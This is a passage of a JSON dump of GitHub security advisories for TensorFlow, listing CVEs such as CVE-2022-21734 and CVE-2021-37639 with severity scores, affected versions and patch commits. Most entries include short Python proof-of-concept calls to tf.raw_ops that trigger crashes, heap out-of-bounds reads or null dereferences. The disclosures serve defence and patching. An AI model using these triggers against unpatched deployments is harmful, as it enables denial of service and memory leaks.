Virginia.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-02-09T23:47:14.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.2,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-44qp-9wwf-734r","https://github.com/tensorflow/tensorflow/commit/2b7100d6cdff36aa21010a82269bc05a6d1cc74a","https://github.com/tensorflow/tensorflow/commit/adbbabdb0d3abb3cdeac69e38a96de1d678b24b3","https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/kernels/count_ops.cc#L168-L273","https://nvd.nist.gov/vuln/detail/CVE-2022-21740","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2022-64.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2022-119.yaml","https://github.com/advisories/GHSA-44qp-9wwf-734r"],"source_kind":"github","identifiers":["GHSA-44qp-9wwf-734r","CVE-2022-21740"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":35.04809856489007,"packages":[{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:37.030Z","updated_at":"2024-11-13T22:33:50.000Z","epss_percentage":0.00409,"epss_percentile":0.60436},{"uuid":"GSA_kwCzR0hTQS1nY3ZoLTY2ZmYtNG13bc0odA","url":"https://github.com/advisories/GHSA-gcvh-66ff-4mwm","title":"`CHECK`-failures in Tensorflow","description":"### Impact \nThe [implementation of `MapStage`](https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/kernels/map_stage_op.cc#L519-L550) is vulnerable a `CHECK`-fail if the key tensor is not a scalar:\n\n```python\nimport tensorflow as tf\nimport numpy as np\n\ntf.raw_ops.MapStage(\n    key = tf.constant(value=[4], shape= (1,2), dtype=tf.int64),\n    indices = np.array([[6]]),\n    values = np.array([-60]),\n    dtypes = [tf.int64], capacity=0, memory_limit=0,\n    container='', shared_name='', name=None\n)   \n``` \n\n### Patches\nWe have patched the issue in GitHub commit [f57315566d7094f322b784947093406c2aea0d7d](https://github.com/tensorflow/tensorflow/commit/f57315566d7094f322b784947093406c2aea0d7d).\n\nThe fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution \nThis vulnerability has been reported by Faysal Hossain Shezan from University of Virginia.\n~                                                                                             ","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-02-10T00:21:12.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-gcvh-66ff-4mwm","https://github.com/tensorflow/tensorflow/commit/f57315566d7094f322b784947093406c2aea0d7d","https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/kernels/map_stage_op.cc#L519-L550","https://nvd.nist.gov/vuln/detail/CVE-2022-21734","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2022-58.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2022-113.yaml","https://github.com/advisories/GHSA-gcvh-66ff-4mwm"],"source_kind":"github","identifiers":["GHSA-gcvh-66ff-4mwm","CVE-2022-21734"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":34.56131941815548,"packages":[{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:37.111Z","updated_at":"2024-11-13T22:31:20.000Z","epss_percentage":0.0022,"epss_percentile":0.44697},{"uuid":"GSA_kwCzR0hTQS1jNmZoLTU2dzctZnZqd80obQ","url":"https://github.com/advisories/GHSA-c6fh-56w7-fvjw","title":"Integer overflow in Tensorflow","description":"### Impact \nThe [implementation of shape inference for `Dequantize`](https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/ops/array_ops.cc#L3001-L3034) is vulnerable to an integer overflow weakness:\n\n```python\nimport tensorflow as tf\n\ninput = tf.constant([1,1],dtype=tf.qint32)\n\n@tf.function\ndef test():\n  y = tf.raw_ops.Dequantize(\n    input=input,\n    min_range=[1.0],\n    max_range=[10.0],\n    mode='MIN_COMBINED',\n    narrow_range=False,\n    axis=2**31-1,\n    dtype=tf.bfloat16)\n  return y\n\ntest()\n``` \n\nThe `axis` argument can be `-1` (the default value for the optional argument) or any other positive value at most the number of dimensions of the input. Unfortunately, the upper bound is not checked, and, since the code computes `axis + 1`, an attacker can trigger an integer overflow:\n\n```cc\n  int axis = -1; \n  Status s = c-\u003eGetAttr(\"axis\", \u0026axis);\n  // ...\n  if (axis \u003c -1) {\n    return errors::InvalidArgument(\"axis should be at least -1, got \",\n                                   axis);\n  }\n  // ...\n  if (axis != -1) {\n    ShapeHandle input;\n    TF_RETURN_IF_ERROR(c-\u003eWithRankAtLeast(c-\u003einput(0), axis + 1, \u0026input));\n    // ...\n  }\n```\n  \n### Patches\nWe have patched the issue in GitHub commit [b64638ec5ccaa77b7c1eb90958e3d85ce381f91b](https://github.com/tensorflow/tensorflow/commit/b64638ec5ccaa77b7c1eb90958e3d85ce381f91b).\n\nThe fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.\n      \n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yu Tian of Qihoo 360 AIVul Team.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-02-09T18:29:13.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.2,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-c6fh-56w7-fvjw","https://github.com/tensorflow/tensorflow/commit/b64638ec5ccaa77b7c1eb90958e3d85ce381f91b","https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/ops/array_ops.cc#L3001-L3034","https://nvd.nist.gov/vuln/detail/CVE-2022-21727","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2022-51.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2022-106.yaml","https://github.com/advisories/GHSA-c6fh-56w7-fvjw"],"source_kind":"github","identifiers":["GHSA-c6fh-56w7-fvjw","CVE-2022-21727"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":35.04809856489007,"packages":[{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:37.179Z","updated_at":"2024-11-13T22:10:04.000Z","epss_percentage":0.00329,"epss_percentile":0.5529},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWc4d2ctY2p3Yy14aGhw","url":"https://github.com/advisories/GHSA-g8wg-cjwc-xhhp","title":"Heap OOB in nested `tf.map_fn` with `RaggedTensor`s","description":"### Impact\nIt is possible to nest a `tf.map_fn` within another `tf.map_fn` call. However, if the input tensor is a `RaggedTensor` and there is no function signature provided, code assumes the output is a fully specified tensor and fills output buffer with uninitialized contents from the heap:\n\n```python\nimport tensorflow as tf\nx = tf.ragged.constant([[1,2,3], [4,5], [6]])\nt = tf.map_fn(lambda r: tf.map_fn(lambda y: r, r), x)\nz = tf.ragged.constant([[[1,2,3],[1,2,3],[1,2,3]],[[4,5],[4,5]],[[6]]])\n```\n  \nThe `t` and `z` outputs should be identical, however this is not the case. The last row of `t` contains data from the heap which can be used to leak other memory information.\n\nThe bug lies in the conversion from a `Variant` tensor to a `RaggedTensor`. The [implementation](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/core/kernels/ragged_tensor_from_variant_op.cc#L177-L190) does not check that all inner shapes match and this results in the additional dimensions in the above example.\n\nThe same implementation can result in data loss, if input tensor is tweaked:\n\n```python\nimport tensorflow as tf\nx = tf.ragged.constant([[1,2], [3,4,5], [6]])\nt = tf.map_fn(lambda r: tf.map_fn(lambda y: r, r), x) \n```\n\nHere, the output tensor will only have 2 elements for each inner dimension.\n\n### Patches\nWe have patched the issue in GitHub commit [4e2565483d0ffcadc719bd44893fb7f609bb5f12](https://github.com/tensorflow/tensorflow/commit/4e2565483d0ffcadc719bd44893fb7f609bb5f12).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Haris Sahovic.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2021-08-25T14:41:00.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.4,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-g8wg-cjwc-xhhp","https://nvd.nist.gov/vuln/detail/CVE-2021-37679","https://github.com/tensorflow/tensorflow/commit/4e2565483d0ffcadc719bd44893fb7f609bb5f12","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-592.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-790.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-301.yaml","https://github.com/advisories/GHSA-g8wg-cjwc-xhhp"],"source_kind":"github","identifiers":["GHSA-g8wg-cjwc-xhhp","CVE-2021-37679"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":40.889448325705075,"packages":[{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:49.241Z","updated_at":"2024-11-13T21:15:11.000Z","epss_percentage":0.0001,"epss_percentile":0.00693},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWhwdjQtN3A5Yy1tdmZy","url":"https://github.com/advisories/GHSA-hpv4-7p9c-mvfr","title":"Heap buffer overflow in `FractionalAvgPoolGrad`","description":"### Impact\nThe implementation for `tf.raw_ops.FractionalAvgPoolGrad` can be tricked into accessing data outside of bounds of heap allocated buffers:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.FractionalAvgPoolGrad(\n  orig_input_tensor_shape=[0,1,2,3],\n  out_backprop = np.array([[[[541],[541]],[[541],[541]]]]),\n  row_pooling_sequence=[0, 0, 0, 0, 0],\n  col_pooling_sequence=[-2, 0, 0, 2, 0],\n  overlapping=True)\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/f24faa153ad31a4b51578f8181d3aaab77a1ddeb/tensorflow/core/kernels/fractional_avg_pool_op.cc#L205) does not validate that the input tensor is non-empty. Thus, code constructs an empty `EigenDoubleMatrixMap` and then accesses this buffer with indices that are outside of the empty area.\n\n### Patches\nWe have patched the issue in GitHub commit [0f931751fb20f565c4e94aa6df58d54a003cdb30](https://github.com/tensorflow/tensorflow/commit/0f931751fb20f565c4e94aa6df58d54a003cdb30).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2021-08-25T14:43:21.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.4,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-hpv4-7p9c-mvfr","https://nvd.nist.gov/vuln/detail/CVE-2021-37651","https://github.com/tensorflow/tensorflow/commit/0f931751fb20f565c4e94aa6df58d54a003cdb30","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-564.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-762.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-273.yaml","https://github.com/advisories/GHSA-hpv4-7p9c-mvfr"],"source_kind":"github","identifiers":["GHSA-hpv4-7p9c-mvfr","CVE-2021-37651"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":40.889448325705075,"packages":[{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:49.829Z","updated_at":"2024-11-13T17:26:30.000Z","epss_percentage":0.00012,"epss_percentile":0.01079},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWdoNngtNHdoci0ycXY0","url":"https://github.com/advisories/GHSA-gh6x-4whr-2qv4","title":"Null pointer dereference and heap OOB read in operations restoring tensors","description":"### Impact\nWhen restoring tensors via raw APIs, if the tensor name is not provided, TensorFlow can be tricked into dereferencing a null pointer:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.Restore(\n  file_pattern=['/tmp'],\n  tensor_name=[], \n  default_value=21,\n  dt=tf.int,\n  preferred_shard=1)\n```\n  \nThe same undefined behavior can be triggered by `tf.raw_ops.RestoreSlice`:\n  \n```python\nimport tensorflow as tf\n\ntf.raw_ops.RestoreSlice(\n  file_pattern=['/tmp'],\n  tensor_name=[], \n  shape_and_slice='2',\n  dt=inp.array([tf.int]),\n  preferred_shard=1)\n```\n\nAlternatively, attackers can read memory outside the bounds of heap allocated data by providing some tensor names but not enough for a successful restoration:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.Restore(\n  file_pattern=['/tmp'],\n  tensor_name=['x'], \n  default_value=21,\n  dt=tf.int,\n  preferred_shard=42)\n```\n  \nThe [implementation](https://github.com/tensorflow/tensorflow/blob/47a06f40411a69c99f381495f490536972152ac0/tensorflow/core/kernels/save_restore_tensor.cc#L158-L159) retrieves the tensor list corresponding to the `tensor_name` user controlled input and immediately retrieves the tensor at the restoration index (controlled via `preferred_shard` argument). This occurs without validating that the provided list has enough values.\n\nIf the list is empty this results in dereferencing a null pointer (undefined behavior). If, however, the list has some elements, if the restoration index is outside the bounds this results in heap OOB read.\n\n### Patches \nWe have patched the issue in GitHub commit [9e82dce6e6bd1f36a57e08fa85af213e2b2f2622](https://github.com/tensorflow/tensorflow/commit/9e82dce6e6bd1f36a57e08fa85af213e2b2f2622).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information \nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2021-08-25T14:44:05.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.6,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-gh6x-4whr-2qv4","https://nvd.nist.gov/vuln/detail/CVE-2021-37639","https://github.com/tensorflow/tensorflow/commit/9e82dce6e6bd1f36a57e08fa85af213e2b2f2622","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-552.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-750.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-261.yaml","https://github.com/advisories/GHSA-gh6x-4whr-2qv4"],"source_kind":"github","identifiers":["GHSA-gh6x-4whr-2qv4","CVE-2021-37639"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":41.86300661917424,"packages":[{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:51.680Z","updated_at":"2024-11-13T16:33:03.000Z","epss_percentage":0.00014,"epss_percentile":0.01486},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWhodmMtZzVodi00OGM2","url":"https://github.com/advisories/GHSA-hhvc-g5hv-48c6","title":"Write to immutable memory region in TensorFlow","description":"### Impact\nThe `tf.raw_ops.ImmutableConst` operation returns a constant tensor created from a memory mapped file which is assumed immutable. However, if the type of the tensor is not an integral type, the operation crashes the Python interpreter as it tries to write to the memory area:\n\n```python\n\u003e\u003e\u003e import tensorflow as tf\n\u003e\u003e\u003e with open('/tmp/test.txt','w') as f: f.write('a'*128)\n\u003e\u003e\u003e tf.raw_ops.ImmutableConst(dtype=tf.string,shape=2,\n                              memory_region_name='/tmp/test.txt')\n```\n\nIf the file is too small, TensorFlow properly returns an error as the memory area has fewer bytes than what is needed for the tensor it creates. However, as soon as there are enough bytes, the above snippet causes a segmentation fault.\n\nThis is because the alocator used to return the buffer data is not marked as returning an opaque handle since the [needed virtual method](https://github.com/tensorflow/tensorflow/blob/c1e1fc899ad5f8c725dcbb6470069890b5060bc7/tensorflow/core/framework/typed_allocator.h#L78-L85) is [not overriden](https://github.com/tensorflow/tensorflow/blob/acdf3c04fcfa767ae8d109b9e1f727ef050dba4d/tensorflow/core/kernels/immutable_constant_op.cc).\n\n### Patches\nWe have patched the issue in GitHub commit [c1e1fc899ad5f8c725dcbb6470069890b5060bc7](https://github.com/tensorflow/tensorflow/commit/c1e1fc899ad5f8c725dcbb6470069890b5060bc7) and will release TensorFlow 2.4.0 containing the patch. TensorFlow nightly packages after this commit will also have the issue resolved.\n\nSince this issue also impacts TF versions before 2.4, we will patch all releases between 1.15 and 2.3 inclusive.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2020-12-10T19:07:28.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.8,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-hhvc-g5hv-48c6","https://github.com/tensorflow/tensorflow/commit/c1e1fc899ad5f8c725dcbb6470069890b5060bc7","https://nvd.nist.gov/vuln/detail/CVE-2020-26268","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2020-299.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2020-334.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2020-255.yaml","https://github.com/advisories/GHSA-hhvc-g5hv-48c6"],"source_kind":"github","identifiers":["GHSA-hhvc-g5hv-48c6","CVE-2020-26268"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":23.365399043260044,"packages":[{"versions":[{"first_patched_version":"2.3.2","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.2"},{"first_patched_version":"2.2.2","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.2"},{"first_patched_version":"2.1.3","vulnerable_version_range":"\u003e= 2.1.0, \u003c 2.1.3"},{"first_patched_version":"2.0.4","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.0.4"},{"first_patched_version":"1.15.5","vulnerable_version_range":"\u003c 1.15.5"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.3.2","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.2"},{"first_patched_version":"2.2.2","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.2"},{"first_patched_version":"2.1.3","vulnerable_version_range":"\u003e= 2.1.0, \u003c 2.1.3"},{"first_patched_version":"2.0.4","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.0.4"},{"first_patched_version":"1.15.5","vulnerable_version_range":"\u003c 1.15.5"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.3.2","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.2"},{"first_patched_version":"2.2.2","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.2"},{"first_patched_version":"2.1.3","vulnerable_version_range":"\u003e= 2.1.0, \u003c 2.1.3"},{"first_patched_version":"2.0.4","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.0.4"},{"first_patched_version":"1.15.5","vulnerable_version_range":"\u003c 1.15.5"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:12.607Z","updated_at":"2024-10-28T20:04:43.000Z","epss_percentage":0.00043,"epss_percentile":0.12438},{"uuid":"GSA_kwCzR0hTQS1wZmpqLW0zamotOWpjOc0odg","url":"https://github.com/advisories/GHSA-pfjj-m3jj-9jc9","title":"Undefined behavior in `SparseTensorSliceDataset`","description":"### Impact \nThe [implementation of `SparseTensorSliceDataset`](https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/kernels/data/sparse_tensor_slice_dataset_op.cc#L227-L292) has an undefined behavior: under certain condition it can be made to dereference a `nullptr` value:\n\n```python\nimport tensorflow as tf\nimport numpy as np\n\ntf.raw_ops.SparseTensorSliceDataset(\n  indices=[[]],\n  values=[],\n  dense_shape=[1,1])\n```\n\nThe 3 input arguments represent a sparse tensor. However, there are some preconditions that these arguments must satisfy but these are not validated in the implementation.\n\n### Patches\nWe have patched the issue in GitHub commit [965b97e4a9650495cda5a8c210ef6684b4b9eceb](https://github.com/tensorflow/tensorflow/commit/965b97e4a9650495cda5a8c210ef6684b4b9eceb).\n\nThe fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Faysal Hossain Shezan from University of Virginia.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-02-09T23:43:27.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.2,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-pfjj-m3jj-9jc9","https://github.com/tensorflow/tensorflow/commit/965b97e4a9650495cda5a8c210ef6684b4b9eceb","https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/kernels/data/sparse_tensor_slice_dataset_op.cc#L227-L292","https://nvd.nist.gov/vuln/detail/CVE-2022-21736","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2022-60.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2022-115.yaml","https://github.com/advisories/GHSA-pfjj-m3jj-9jc9"],"source_kind":"github","identifiers":["GHSA-pfjj-m3jj-9jc9","CVE-2022-21736"],"repository_url":"https://github.